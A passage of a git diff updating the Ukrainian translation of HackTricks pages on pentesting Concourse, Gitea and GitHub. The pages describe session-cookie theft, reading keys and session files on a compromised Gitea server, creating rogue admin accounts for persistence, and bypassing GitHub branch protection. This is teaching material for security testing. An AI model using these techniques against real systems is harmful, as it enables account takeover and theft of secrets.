step](https://concourse-ci.org/do-step.html) виконує кроки послідовно -- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) виконує крок кілька разів; один раз для кожної комбінації значень змінних -- the [`try` step](https://concourse-ci.org/try-step.html) намагається виконати крок і успішно завершується, навіть якщо крок не вдається +- [`get` step](https://concourse-ci.org/get-step.html) отримує [resource](https://concourse-ci.org/resources.html) +- [`put` step](https://concourse-ci.org/put-step.html) оновлює [resource](https://concourse-ci.org/resources.html) +- [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) налаштовує [pipeline](https://concourse-ci.org/pipelines.html) +- [`load_var` step](https://concourse-ci.org/load-var-step.html) завантажує значення в [local var](https://concourse-ci.org/vars.html#local-vars) +- [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) виконує кроки паралельно +- [`do` step](https://concourse-ci.org/do-step.html) виконує кроки послідовно +- [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) виконує крок кілька разів; один раз для кожної комбінації значень змінних +- [`try` step](https://concourse-ci.org/try-step.html) намагається виконати крок і вважається успішним, навіть якщо крок не вдався -Кожен [step](https://concourse-ci.org/steps.html) у [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) виконується у **своєму контейнері**. Ви можете виконувати все, що хочете, всередині контейнера _(тобто виконати мої тести, запустити цей bash-скрипт, зібрати це зображення тощо)_. Тож, якщо у вас є job з п'ятьма кроками, Concourse створить п'ять контейнерів, по одному для кожного кроку. +Кожен [step](https://concourse-ci.org/steps.html) у [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) виконується у **своєму контейнері**. Ви можете виконувати все, що хочете, всередині контейнера _(тобто виконати мої тести, запустити цей bash-скрипт, зібрати це зображення тощо)_. Тому, якщо у вас є job з п'ятьма кроками, Concourse створить п'ять контейнерів, по одному для кожного кроку. Отже, можливо вказати тип контейнера, в якому потрібно виконати кожен крок. @@ -131,13 +131,13 @@ fly -t tutorial intercept --job pipe-name/simple ### Тригери -Вам не потрібно вручну запускати завдання щоразу, коли вам потрібно їх виконати, ви також можете запрограмувати їх на запуск щоразу: +Вам не потрібно вручну запускати завдання щоразу, коли вам потрібно їх виконати, ви також можете запланувати їх виконання щоразу: - Пройшов деякий час: [Time resource](https://github.com/concourse/time-resource/) -- При нових комітах в основну гілку: [Git resource](https://github.com/concourse/git-resource) +- При нових комітах до основної гілки: [Git resource](https://github.com/concourse/git-resource) - Нові PR: [Github-PR resource](https://github.com/telia-oss/github-pr-resource) - Отримати або надіслати останній образ вашого додатку: [Registry-image resource](https://github.com/concourse/registry-image-resource/) -Перевірте приклад YAML конвеєра, який спрацьовує на нові коміти в master в [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html) +Перевірте приклад YAML конвеєра, який спрацьовує на нові коміти в master на [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md index 2e9b84d05..2304587bd 100644 --- a/src/pentesting-ci-cd/gitea-security/README.md +++ b/src/pentesting-ci-cd/gitea-security/README.md @@ -27,7 +27,7 @@ docker run -p 3000:3000 gitea/gitea helm repo add gitea-charts https://dl.gitea.io/charts/ helm install gitea gitea-charts/gitea ``` -## Невідома Енумерація +## Неавтентифіковане перерахування - Публічні репозиторії: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos) - Зареєстровані користувачі: [http://localhost:3000/explore/users](http://localhost:3000/explore/users) @@ -35,24 +35,24 @@ helm install gitea gitea-charts/gitea Зверніть увагу, що за **замовчуванням Gitea дозволяє новим користувачам реєструватися**. Це не надасть особливо цікавого доступу новим користувачам до репозиторіїв інших організацій/користувачів, але **увійшовший користувач** може мати можливість **переглядати більше репозиторіїв або організацій**. -## Внутрішня Експлуатація +## Внутрішня експлуатація Для цього сценарію ми будемо припускати, що ви отримали доступ до облікового запису github. -### З Обліковими Даними Користувача/Веб-Кукі +### З обліковими даними користувача/веб-кукі -Якщо ви якимось чином вже маєте облікові дані для користувача всередині організації (або ви вкрали кукі сесії), ви можете **просто увійти** і перевірити, які **дозволи у вас є** на які **репозиторії,** в **яких командах** ви знаходитесь, **переглянути інших користувачів** і **як захищені репозиторії.** +Якщо ви якимось чином вже маєте облікові дані для користувача всередині організації (або ви вкрали кукі сесії), ви можете **просто увійти** і перевірити, які **дозволи у вас є** на які **репозиторії,** в **яких командах** ви знаходитесь, **перелічити інших користувачів** і **як захищені репозиторії.** Зверніть увагу, що **може використовуватися 2FA**, тому ви зможете отримати доступ до цієї інформації лише якщо зможете також **пройти цю перевірку**. > [!NOTE] > Зверніть увагу, що якщо вам **вдасться вкрасти кукі `i_like_gitea`** (в даний час налаштовані з SameSite: Lax), ви можете **повністю видати себе за користувача** без необхідності в облікових даних або 2FA. -### З SSH Ключем Користувача +### З SSH-ключем користувача -Gitea дозволяє **користувачам** встановлювати **SSH ключі**, які будуть використовуватися як **метод аутентифікації для розгортання коду** від їх імені (2FA не застосовується). +Gitea дозволяє **користувачам** встановлювати **SSH-ключі**, які будуть використовуватися як **метод автентифікації для розгортання коду** від їх імені (2FA не застосовується). -З цим ключем ви можете виконувати **зміни в репозиторіях, де у користувача є певні привілеї**, однак ви не можете використовувати його для доступу до gitea api для енумерації середовища. Однак ви можете **переглядати локальні налаштування**, щоб отримати інформацію про репозиторії та користувача, до яких у вас є доступ: +З цим ключем ви можете виконувати **зміни в репозиторіях, де у користувача є певні привілеї**, однак ви не можете використовувати його для доступу до gitea api для перерахування середовища. Однак ви можете **перерахувати локальні налаштування**, щоб отримати інформацію про репозиторії та користувача, до яких у вас є доступ: ```bash # Go to the the repository folder # Get repo config and current user name and email @@ -62,7 +62,7 @@ git config --list **SSH ключі** також можуть бути налаштовані в репозиторіях як **ключі розгортання**. Будь-хто, хто має доступ до цього ключа, зможе **запускати проекти з репозиторію**. Зазвичай на сервері з різними ключами розгортання локальний файл **`~/.ssh/config`** надасть вам інформацію про те, до якого ключа це відноситься. -#### GPG Ключі +#### GPG ключі Як пояснено [**тут**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md), іноді потрібно підписувати коміти, інакше вас можуть виявити. @@ -91,40 +91,40 @@ gpg --list-secret-keys --keyid-format=long - **Увімкнути Push**: Якщо будь-хто з правами на запис може пушити в гілку, просто пуште в неї. - **Білий список обмежених пушів**: Теж саме, якщо ви є частиною цього списку, пуште в гілку. - **Увімкнути білий список злиттів**: Якщо є білий список злиттів, ви повинні бути в ньому. -- **Вимагати схвалень більше ніж 0**: Тоді... вам потрібно скомпрометувати іншого користувача. +- **Вимагати схвалення більше ніж 0**: Тоді... вам потрібно скомпрометувати іншого користувача. - **Обмежити схвалення для білих списків**: Якщо тільки користувачі з білого списку можуть схвалювати... вам потрібно скомпрометувати іншого користувача, який є в цьому списку. -- **Скасувати застарілі схвалення**: Якщо схвалення не видаляються з новими комітами, ви можете захопити вже схвалений PR, щоб вставити свій код і злити PR. +- **Скасувати застарілі схвалення**: Якщо схвалення не видаляються з новими комітами, ви можете захопити вже схвалений PR, щоб ввести свій код і злити PR. Зверніть увагу, що **якщо ви є адміністратором організації/репозиторію**, ви можете обійти захист. -### Перерахувати Webhooks +### Перерахувати вебхуки -**Webhooks** здатні **надсилати специфічну інформацію gitea в деякі місця**. Ви можете бути в змозі **використати цю комунікацію**.\ -Однак зазвичай у **webhook** встановлюється **секрет**, який ви **не можете отримати**, що **запобігає** зовнішнім користувачам, які знають URL вебхука, але не секрет, **використовувати цей webhook**.\ +**Вебхуки** здатні **надсилати специфічну інформацію gitea в деякі місця**. Ви можете бути в змозі **використати цю комунікацію**.\ +Однак зазвичай у **вебхуку** встановлюється **секрет**, який ви **не можете отримати**, що **запобігає** зовнішнім користувачам, які знають URL вебхука, але не секрет, **використовувати цей вебхук**.\ Але в деяких випадках люди замість того, щоб встановити **секрет** на своє місце, **встановлюють його в URL** як параметр, тому **перевірка URL** може дозволити вам **знайти секрети** та інші місця, які ви могли б далі експлуатувати. -Webhooks можуть бути встановлені на **рівні репозиторію та організації**. +Вебхуки можуть бути встановлені на **рівні репозиторію та організації**. ## Постексплуатація ### Всередині сервера -Якщо вам вдалося потрапити всередину сервера, де працює gitea, вам слід шукати файл конфігурації gitea. За замовчуванням він знаходиться в `/data/gitea/conf/app.ini` +Якщо вам вдалося потрапити всередину сервера, де працює gitea, вам слід шукати файл конфігурації gitea. За замовчуванням він знаходиться за адресою `/data/gitea/conf/app.ini`. У цьому файлі ви можете знайти **ключі** та **паролі**. У шляху gitea (за замовчуванням: /data/gitea) ви також можете знайти цікаву інформацію, таку як: - **sqlite** БД: Якщо gitea не використовує зовнішню БД, вона використовуватиме sqlite БД. -- **сесії** у папці сесій: Виконавши `cat sessions/*/*/*`, ви можете побачити імена користувачів увійшли (gitea також може зберігати сесії в БД). -- **jwt приватний ключ** у папці jwt. +- **сесії** в папці сесій: Виконавши `cat sessions/*/*/*`, ви можете побачити імена користувачів, які увійшли в систему (gitea також може зберігати сесії в БД). +- **jwt приватний ключ** в папці jwt. - Більше **чутливої інформації** може бути знайдено в цій папці. Якщо ви всередині сервера, ви також можете **використовувати двійковий файл `gitea`** для доступу/модифікації інформації: -- `gitea dump` вивантажить gitea і створить .zip файл. +- `gitea dump` виведе gitea і створить .zip файл. - `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` згенерує токен вказаного типу (постійність). -- `gitea admin user change-password --username admin --password newpassword` Змінити пароль. -- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Створити нового адміністратора та отримати токен доступу. +- `gitea admin user change-password --username admin --password newpassword` змінить пароль. +- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` створить нового адміністратора та отримає токен доступу. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md index d6031ad7d..b2137c210 100644 --- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md +++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md @@ -4,7 +4,7 @@ ## Основна структура -Основна структура середовища Gitea полягає в групуванні репозиторіїв за **організаціями**, кожна з яких може містити **кілька репозиторіїв** та **кілька команд**. Однак, зверніть увагу, що, як і в github, користувачі можуть мати репозиторії поза організацією. +Основна структура середовища Gitea полягає в групуванні репозиторіїв за **організаціями**, кожна з яких може містити **кілька репозиторіїв** та **кілька команд**. Однак, зверніть увагу, що, як і в GitHub, користувачі можуть мати репозиторії поза організацією. Більше того, **користувач** може бути **членом** **різних організацій**. У межах організації користувач може мати **різні дозволи на кожен репозиторій**. @@ -16,7 +16,7 @@ ### Організації -Коли **організація створюється**, команда під назвою **Owners** є **створеною**, і користувач потрапляє до неї. Ця команда надасть **адміністративний доступ** до **організації**, ці **дозволи** та **назва** команди **не можуть бути змінені**. +Коли **організація створюється**, команда під назвою **Власники** є **створеною**, і користувач потрапляє до неї. Ця команда надасть **адміністративний доступ** до **організації**, ці **дозволи** та **назва** команди **не можуть бути змінені**. **Адміністратори організації** (власники) можуть вибрати **видимість** організації: @@ -29,7 +29,7 @@ При створенні нової команди вибираються кілька важливих налаштувань: - Вказується, до яких **репозиторіїв організації члени команди зможуть отримати доступ**: конкретні репозиторії (репозиторії, до яких додана команда) або всі. -- Також вказується, **чи можуть члени створювати нові репозиторії** (творець отримає адміністративний доступ до нього) +- Також вказується, **чи можуть члени створювати нові репозиторії** (творець отримає адміністративний доступ до нього). - **Дозволи**, які **матимуть** **члени** репозиторію: - **Адміністративний** доступ - **Специфічний** доступ: @@ -52,19 +52,19 @@ ### **SSH ключі** -Ви можете налаштувати свій обліковий запис з одним або кількома відкритими ключами, що дозволяє відповідному **закритому ключу виконувати дії від вашого імені.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys) +Ви можете налаштувати свій обліковий запис з одним або кількома публічними ключами, що дозволяє відповідному **приватному ключу виконувати дії від вашого імені.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys) #### **GPG ключі** Ви **не можете видавати себе за користувача з цими ключами**, але якщо ви їх не використовуєте, може бути можливим, що ви **будете виявлені за відправку комітів без підпису**. -### **Персональні токени доступу** +### **Особисті токени доступу** -Ви можете згенерувати персональний токен доступу, щоб **надати додатку доступ до вашого облікового запису**. Персональний токен доступу надає повний доступ до вашого облікового запису: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications) +Ви можете згенерувати особистий токен доступу, щоб **надати додатку доступ до вашого облікового запису**. Особистий токен доступу надає повний доступ до вашого облікового запису: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications) -### Oauth додатки +### Додатки Oauth -Так само, як і персональні токени доступу, **Oauth додатки** матимуть **повний доступ** до вашого облікового запису та місць, до яких має доступ ваш обліковий запис, оскільки, як зазначено в [документації](https://docs.gitea.io/en-us/oauth2-provider/#scopes), області ще не підтримуються: +Так само, як і особисті токени доступу, **додатки Oauth** матимуть **повний доступ** до вашого облікового запису та місць, до яких має доступ ваш обліковий запис, оскільки, як зазначено в [документації](https://docs.gitea.io/en-us/oauth2-provider/#scopes), області ще не підтримуються: ![](<../../images/image (194).png>) @@ -74,7 +74,7 @@ ## Захист гілок -Захист гілок призначений для **не надання повного контролю над репозиторієм** користувачам. Мета полягає в тому, щоб **встановити кілька методів захисту перед тим, як можна буде писати код у деякій гілці**. +Захист гілок призначений для **не надання повного контролю над репозиторієм** користувачам. Мета полягає в тому, щоб **встановити кілька методів захисту перед тим, як можна буде писати код у деяку гілку**. **Захист гілок репозиторію** можна знайти за адресою _https://localhost:3000/\/\/settings/branches_ @@ -83,13 +83,13 @@ Різні захисти можуть бути застосовані до гілки (наприклад, до master): -- **Вимкнути Push**: Ніхто не може пушити в цю гілку -- **Увімкнути Push**: Будь-хто з доступом може пушити, але не може примусово пушити. -- **Список дозволених обмежених Push**: Тільки вибрані користувачі/команди можуть пушити в цю гілку (але без примусового пушу) +- **Вимкнути Push**: Ніхто не може відправити дані в цю гілку +- **Увімкнути Push**: Будь-хто з доступом може відправити дані, але не може примусово відправити. +- **Список дозволених обмежених Push**: Тільки вибрані користувачі/команди можуть відправити дані в цю гілку (але без примусового відправлення) - **Увімкнути список дозволених для злиття**: Тільки користувачі/команди зі списку дозволених можуть зливати PR. - **Увімкнути перевірки статусу:** Вимагати, щоб перевірки статусу пройшли перед злиттям. - **Вимагати схвалення**: Вказати кількість схвалень, необхідних перед злиттям PR. -- **Обмежити схвалення до списку дозволених**: Вказати користувачів/команди, які можуть схвалювати PR. +- **Обмежити схвалення для списку дозволених**: Вказати користувачів/команди, які можуть схвалювати PR. - **Блокувати злиття на основі відхилених оглядів**: Якщо запитуються зміни, його не можна зливати (навіть якщо інші перевірки проходять) - **Блокувати злиття на основі офіційних запитів на огляд**: Якщо є офіційні запити на огляд, його не можна зливати - **Скасувати застарілі схвалення**: Коли є нові коміти, старі схвалення будуть скасовані. @@ -98,6 +98,6 @@ - **Захищені/незахищені шаблони файлів**: Вказати шаблони файлів для захисту/незахисту від змін > [!NOTE] -> Як ви можете бачити, навіть якщо вам вдалося отримати деякі облікові дані користувача, **репозиторії можуть бути захищені, що заважає вам пушити код до master**, наприклад, для компрометації CI/CD конвеєра. +> Як ви можете бачити, навіть якщо вам вдалося отримати деякі облікові дані користувача, **репозиторії можуть бути захищені, що заважає вам відправляти код у master**, наприклад, для компрометації CI/CD конвеєра. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md index 9b678bd78..9ebd7577c 100644 --- a/src/pentesting-ci-cd/github-security/README.md +++ b/src/pentesting-ci-cd/github-security/README.md @@ -4,7 +4,7 @@ ## Що таке Github -(З [тут](https://kinsta.com/knowledgebase/what-is-github/)) На високому рівні, **GitHub - це вебсайт і хмарний сервіс, який допомагає розробникам зберігати та керувати своїм кодом, а також відстежувати та контролювати зміни в їхньому коді**. +(З [тут](https://kinsta.com/knowledgebase/what-is-github/)) На високому рівні, **GitHub - це вебсайт та хмарний сервіс, який допомагає розробникам зберігати та керувати своїм кодом, а також відстежувати та контролювати зміни в їхньому коді**. ### Основна інформація @@ -20,11 +20,11 @@ basic-github-information.md - **Внутрішній** означає, що **тільки** люди з **підприємства** (підприємство може мати кілька організацій) зможуть отримати до нього доступ - **Публічний** означає, що **весь інтернет** зможе отримати до нього доступ. -Якщо ви знаєте **користувача, репозиторій або організацію, яку хочете націлити**, ви можете використовувати **github dorks**, щоб знайти чутливу інформацію або шукати **витоки чутливої інформації** **в кожному репозиторії**. +Якщо ви знаєте **користувача, репозиторій або організацію, яку хочете націлити**, ви можете використовувати **github dorks** для пошуку чутливої інформації або шукати **витоки чутливої інформації** **в кожному репозиторії**. ### Github Dorks -Github дозволяє **шукати щось, вказуючи в якості області користувача, репозиторію або організації**. Тому, з переліком рядків, які будуть з'являтися поруч з чутливою інформацією, ви можете легко **шукати потенційну чутливу інформацію у вашій цілі**. +Github дозволяє **шукати щось, вказуючи в якості області користувача, репозиторій або організацію**. Тому, з переліком рядків, які будуть з'являтися поруч з чутливою інформацією, ви можете легко **шукати потенційну чутливу інформацію у вашій цілі**. Інструменти (кожен інструмент містить свій список dorks): @@ -51,7 +51,7 @@ Github дозволяє **шукати щось, вказуючи в якост ### Зовнішні форки -Можливо **компрометувати репозиторії, зловживаючи pull requests**. Щоб дізнатися, чи вразливий репозиторій, вам в основному потрібно прочитати конфігурації yaml Github Actions. [**Більше інформації про це нижче**](./#execution-from-a-external-fork). +Можливо **компрометувати репозиторії, зловживаючи запитами на злиття**. Щоб дізнатися, чи вразливий репозиторій, вам в основному потрібно прочитати конфігурації yaml Github Actions. [**Більше інформації про це нижче**](./#execution-from-a-external-fork). ### Github Витоки в видалених/внутрішніх форках @@ -67,17 +67,17 @@ accessible-deleted-data-in-github.md Є деякі **за замовчуванням привілеї**, які можуть бути надані **учасникам** організації. Їх можна контролювати зі сторінки `https://github.com/organizations//settings/member_privileges` або з [**API організацій**](https://docs.github.com/en/rest/orgs/orgs). -- **Базові дозволи**: Учасники матимуть дозвіл None/Read/write/Admin на репозиторії організації. Рекомендується **None** або **Read**. -- **Форкування репозиторіїв**: Якщо це не потрібно, краще **не дозволяти** учасникам форкати репозиторії організації. -- **Створення сторінок**: Якщо це не потрібно, краще **не дозволяти** учасникам публікувати сторінки з репозиторіїв організації. Якщо потрібно, ви можете дозволити створення публічних або приватних сторінок. -- **Запити на доступ до інтеграцій**: З цим увімкненим зовнішні співпрацівники зможуть запитувати доступ до GitHub або OAuth додатків для доступу до цієї організації та її ресурсів. Це зазвичай потрібно, але якщо ні, краще вимкнути. -- _Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знайшли_ -- **Зміна видимості репозиторію**: Якщо увімкнено, **учасники** з **адміністративними** правами для **репозиторію** зможуть **змінювати його видимість**. Якщо вимкнено, тільки власники організації можуть змінювати видимість репозиторіїв. Якщо ви **не** хочете, щоб люди робили речі **публічними**, переконайтеся, що це **вимкнено**. -- _Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знайшли_ +- **Базові дозволи**: Учасники матимуть дозвіл None/Read/write/Admin над репозиторіями організації. Рекомендується **None** або **Read**. +- **Форкування репозиторіїв**: Якщо це не потрібно, краще **не дозволяти** учасникам форкувати репозиторії організації. +- **Створення сторінок**: Якщо це не потрібно, краще **не дозволяти** учасникам публікувати сторінки з репозиторіїв організації. Якщо потрібно, ви можете дозволити створювати публічні або приватні сторінки. +- **Запити на доступ до інтеграцій**: З цим увімкненим зовнішні співпрацівники зможуть запитувати доступ до GitHub або OAuth додатків для доступу до цієї організації та її ресурсів. Це зазвичай потрібно, але якщо ні, краще вимкнути це. +- _Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знаєте_ +- **Зміна видимості репозиторію**: Якщо увімкнено, **учасники** з **адміністративними** правами для **репозиторію** зможуть **змінити його видимість**. Якщо вимкнено, тільки власники організації можуть змінювати видимість репозиторіїв. Якщо ви **не** хочете, щоб люди робили речі **публічними**, переконайтеся, що це **вимкнено**. +- _Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знаєте_ - **Видалення та передача репозиторію**: Якщо увімкнено, учасники з **адміністративними** правами для репозиторію зможуть **видаляти** або **передавати** публічні та приватні **репозиторії**. -- _Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знайшли_ +- _Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знаєте_ - **Дозволити учасникам створювати команди**: Якщо увімкнено, будь-який **учасник** організації зможе **створювати** нові **команди**. Якщо вимкнено, тільки власники організації можуть створювати нові команди. Краще, щоб це було вимкнено. -- _Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знайшли_ +- _Я не зміг знайти цю інформацію в відповіді API, поділіться, якщо ви знаєте_ - **Більше речей можна налаштувати** на цій сторінці, але попередні є найбільш пов'язаними з безпекою. ### Налаштування дій @@ -87,13 +87,13 @@ accessible-deleted-data-in-github.md > [!NOTE] > Зверніть увагу, що всі ці конфігурації також можуть бути встановлені для кожного репозиторію незалежно -- **Політики дій Github**: Це дозволяє вам вказати, які репозиторії можуть запускати робочі процеси і які робочі процеси повинні бути дозволені. Рекомендується **вказати, які репозиторії** повинні бути дозволені і не дозволяти всім діям виконуватись. +- **Політики дій Github**: Це дозволяє вказати, які репозиторії можуть виконувати робочі процеси та які робочі процеси повинні бути дозволені. Рекомендується **вказати, які репозиторії** повинні бути дозволені і не дозволяти всім діям виконуватись. - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization) -- **Форки pull request робочих процесів від зовнішніх співпрацівників**: Рекомендується **вимагати схвалення для всіх** зовнішніх співпрацівників. -- _Я не зміг знайти API з цією інформацією, поділіться, якщо ви знайшли_ -- **Запуск робочих процесів з pull request форків**: Вкрай **не рекомендується запускати робочі процеси з pull request** оскільки утримувачі походження форка отримають можливість використовувати токени з правами читання на вихідному репозиторії. -- _Я не зміг знайти API з цією інформацією, поділіться, якщо ви знайшли_ -- **Дозволи робочих процесів**: Вкрай рекомендується **надавати лише права читання на репозиторії**. Не рекомендується надавати права на запис і створення/схвалення pull requests, щоб уникнути зловживання GITHUB_TOKEN, наданим для виконання робочих процесів. +- **Робочі процеси запитів на злиття з зовнішніх співпрацівників**: Рекомендується **вимагати схвалення для всіх** зовнішніх співпрацівників. +- _Я не зміг знайти API з цією інформацією, поділіться, якщо ви знаєте_ +- **Виконання робочих процесів з запитів на злиття**: Це **сильно не рекомендується** виконувати робочі процеси з запитів на злиття, оскільки утримувачі походження форку отримають можливість використовувати токени з правами читання на вихідному репозиторії. +- _Я не зміг знайти API з цією інформацією, поділіться, якщо ви знаєте_ +- **Дозволи робочих процесів**: Сильно рекомендується **надавати лише права читання на репозиторій**. Не рекомендується надавати права на запис і створення/схвалення запитів на злиття, щоб уникнути зловживання GITHUB_TOKEN, наданим для виконання робочих процесів. - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization) ### Інтеграції @@ -109,18 +109,18 @@ _Дайте знати, якщо ви знаєте кінцеву точку API ### З обліковими даними користувача -Якщо ви якимось чином вже маєте облікові дані для користувача всередині організації, ви можете **просто увійти** і перевірити, які **ролі підприємства та організації у вас є**, якщо ви звичайний учасник, перевірте, які **дозволи мають звичайні учасники**, в яких **групах** ви знаходитесь, які **дозволи ви маєте** на які **репозиторії** та **як захищені репозиторії**. +Якщо ви якимось чином вже маєте облікові дані для користувача всередині організації, ви можете **просто увійти** та перевірити, які **ролі підприємства та організації у вас є**, якщо ви є звичайним учасником, перевірте, які **дозволи мають звичайні учасники**, в яких **групах** ви знаходитесь, які **дозволи у вас є** над якими **репозиторіями** та **як захищені репозиторії**. -Зверніть увагу, що **може використовуватись 2FA**, тому ви зможете отримати доступ до цієї інформації лише якщо зможете також **пройти цю перевірку**. +Зверніть увагу, що **може використовуватися 2FA**, тому ви зможете отримати доступ до цієї інформації лише якщо зможете також **пройти цю перевірку**. > [!NOTE] -> Зверніть увагу, що якщо вам **вдасться вкрасти cookie `user_session`** (в даний час налаштований з SameSite: Lax), ви зможете **повністю видати себе за користувача** без необхідності в облікових даних або 2FA. +> Зверніть увагу, що якщо ви **вдасться вкрасти cookie `user_session`** (в даний час налаштований з SameSite: Lax), ви зможете **повністю видати себе за користувача** без необхідності в облікових даних або 2FA. Перевірте розділ нижче про [**обхід захисту гілок**](./#branch-protection-bypass), якщо це буде корисно. ### З SSH ключем користувача -Github дозволяє **користувачам** встановлювати **SSH ключі**, які будуть використовуватись як **метод аутентифікації для розгортання коду** від їх імені (2FA не застосовується). +Github дозволяє **користувачам** встановлювати **SSH ключі**, які будуть використовуватися як **метод аутентифікації для розгортання коду** від їх імені (2FA не застосовується). З цим ключем ви можете виконувати **зміни в репозиторіях, де у користувача є певні привілеї**, однак ви не можете використовувати його для доступу до API github для перерахунку середовища. Однак ви можете **перерахувати локальні налаштування**, щоб отримати інформацію про репозиторії та користувача, до яких у вас є доступ: ```bash @@ -128,9 +128,9 @@ Github дозволяє **користувачам** встановлювати # Get repo config and current user name and email git config --list ``` -Якщо користувач налаштував своє ім'я користувача як своє ім'я користувача github, ви можете отримати доступ до **публічних ключів, які він налаштував** у своєму обліковому записі за адресою _https://github.com/\.keys_, ви можете перевірити це, щоб підтвердити, що приватний ключ, який ви знайшли, можна використовувати. +Якщо користувач налаштував своє ім'я користувача як своє ім'я користувача github, ви можете отримати доступ до **публічних ключів, які він налаштував** у своєму обліковому записі за адресою _https://github.com/\.keys_, ви можете перевірити це, щоб підтвердити, що приватний ключ, який ви знайшли, може бути використаний. -**SSH ключі** також можуть бути налаштовані в репозиторіях як **ключі для розгортання**. Будь-хто, хто має доступ до цього ключа, зможе **запускати проекти з репозиторію**. Зазвичай на сервері з різними ключами для розгортання локальний файл **`~/.ssh/config`** надасть вам інформацію про те, до якого ключа це відноситься. +**SSH ключі** також можуть бути налаштовані в репозиторіях як **ключі розгортання**. Будь-хто, хто має доступ до цього ключа, зможе **запускати проекти з репозиторію**. Зазвичай на сервері з різними ключами розгортання локальний файл **`~/.ssh/config`** надасть вам інформацію про те, до якого ключа це відноситься. #### GPG Ключі @@ -144,7 +144,7 @@ gpg --list-secret-keys --keyid-format=long Для введення про [**токени користувача перевірте основну інформацію**](basic-github-information.md#personal-access-tokens). -Токен користувача може використовуватися **замість пароля** для Git через HTTPS або може бути використаний для [**автентифікації до API через базову автентифікацію**](https://docs.github.com/v3/auth/#basic-authentication). Залежно від привілеїв, які до нього прикріплені, ви можете виконувати різні дії. +Токен користувача може використовуватися **замість пароля** для Git через HTTPS або може використовуватися для [**автентифікації в API через базову автентифікацію**](https://docs.github.com/v3/auth/#basic-authentication). Залежно від привілеїв, які до нього прикріплені, ви можете виконувати різні дії. Токен користувача виглядає так: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` @@ -179,13 +179,13 @@ abusing-github-actions/ - **Вимагати певну кількість схвалень**: Якщо ви скомпрометували кілька облікових записів, ви можете просто приймати свої PR з інших облікових записів. Якщо у вас є лише обліковий запис, з якого ви створили PR, ви не можете прийняти свій власний PR. Однак, якщо у вас є доступ до середовища **Github Action** всередині репозиторію, використовуючи **GITHUB_TOKEN**, ви можете **схвалити свій PR** і отримати 1 схвалення таким чином. - _Примітка для цього та для обмеження власників коду, що зазвичай користувач не зможе схвалити свої власні PR, але якщо ви можете, ви можете зловживати цим, щоб приймати свої PR._ - **Скасувати схвалення, коли нові коміти надсилаються**: Якщо це не налаштовано, ви можете подати легітимний код, почекати, поки хтось його схвалить, а потім вставити шкідливий код і злити його в захищену гілку. -- **Вимагати огляди від власників коду**: Якщо це активовано і ви є власником коду, ви можете зробити так, щоб **Github Action створив ваш PR, а потім схвалити його самостійно**. +- **Вимагати перевірки від власників коду**: Якщо це активовано і ви є власником коду, ви можете зробити так, щоб **Github Action створив ваш PR, а потім ви самі його схвалили**. - Коли файл **CODEOWNER неправильно налаштований**, Github не скаржиться, але не використовує його. Тому, якщо він неправильно налаштований, **захист власників коду не застосовується.** - **Дозволити вказаним акторам обходити вимоги до запитів на злиття**: Якщо ви один з цих акторів, ви можете обійти захист запитів на злиття. - **Включити адміністраторів**: Якщо це не налаштовано і ви є адміністратором репозиторію, ви можете обійти ці захисти гілок. -- **Викрадення PR**: Ви можете бути в змозі **модифікувати PR когось іншого**, додаючи шкідливий код, схвалюючи отриманий PR самостійно і зливаючи все. +- **Викрадення PR**: Ви можете бути в змозі **змінити PR когось іншого**, додавши шкідливий код, схваливши отриманий PR самостійно і злити все. - **Видалення захисту гілок**: Якщо ви є **адміністратором репозиторію, ви можете вимкнути захист**, злити свій PR і знову встановити захист. -- **Обхід захисту на надсилання**: Якщо репозиторій **дозволяє лише певним користувачам** надсилати пуші (зливати код) у гілки (захист гілки може захищати всі гілки, вказуючи шаблон `*`). +- **Обхід захисту на надсилання**: Якщо репозиторій **дозволяє лише певним користувачам** надсилати пуш (зливати код) у гілки (захист гілки може захищати всі гілки, вказуючи шаблон `*`). - Якщо у вас є **доступ на запис до репозиторію, але вам не дозволено надсилати код** через захист гілки, ви все ще можете **створити нову гілку** і в її межах створити **github action, яка спрацьовує, коли код надсилається**. Оскільки **захист гілки не захищає гілку, поки вона не створена**, цей перший пуш коду в гілку **виконає github action**. ## Обхід захисту середовищ 